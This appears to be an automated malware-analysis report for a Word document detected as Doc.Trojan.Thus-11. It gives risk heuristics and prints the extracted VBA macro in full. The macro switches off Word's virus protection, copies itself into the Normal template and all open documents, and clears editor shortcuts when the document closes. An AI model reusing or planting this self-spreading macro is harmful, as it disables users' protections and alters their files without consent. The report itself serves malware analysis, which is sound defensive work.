MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros, including a Document_Open macro, which is a common technique for malicious documents. The macro attempts to disable virus protection and manipulate the VBA project, suggesting an intent to execute malicious code or hinder removal. The ClamAV detection 'Doc.Trojan.Thus-11' further confirms its malicious nature, indicating it's likely a downloader or dropper.
Heuristics 3
-
ClamAV: Doc.Trojan.Thus-11 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Thus-11
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3099 bytes |
SHA-256: ed041150bebee7eb69662652efbc4894986b66f7838009157c4c2245938d4cc5 |
|||
|
Detection
ClamAV:
Doc.Trojan.Thus-11
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Dim iCount As Integer
Application.ActiveDocument.Saved = True
Do While Application.BackgroundPrintingStatus > 0 Or _
Application.BackgroundSavingStatus > 0
For iCount = 1 To 2000
Next
Loop
Application.CommandBars("File").Reset
Application.CommandBars("View").Reset
Application.CommandBars("Tools").Reset
Application.FindKey(wdKeyControl + wdKeyN).Clear
Application.FindKey(wdKeyControl + wdKeyO).Clear
Application.FindKey(wdKeyControl + wdKeyS).Clear
Application.FindKey(wdKeyAlt + wdKeyF8).Clear
Application.FindKey(wdKeyAlt + wdKeyF11).Clear
Application.NormalTemplate.Saved = True
End Sub
Private Sub Document_Open()
On Error Resume Next
Dim k
'-- A macro called Thus_001 propegates to all open word documents and is
'-- set to delete all files on a users c: drive on December 13th.
'-- This macro is designed to search your word documents and remove the Thus_001 macro.
Application.Options.VirusProtection = False
'-- Remove Thus_001 from all open components
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) = "'Thus_001'" Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
.deletelines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
.CodeModule.CountOfLines
End If
'-- Insert Virus Protector into open components
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
.InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
.CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
.Item(1).CodeModule.CountOfLines)
End If
If NormalTemplate.Saved = False Then NormalTemplate.Save
For k = 1 To Application.Documents.Count
'-- Remove Thus_001 from all open documents
If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) = "'Thus_001'" Then
Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
.CodeModule.deletelines 1, Application.Documents.Item(k) _
.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
End If
'-- Insert virus Protector into open documents
If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
.CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
.Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
.VBComponents.Item(1).CodeModule.CountOfLines)
End If
Next k
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.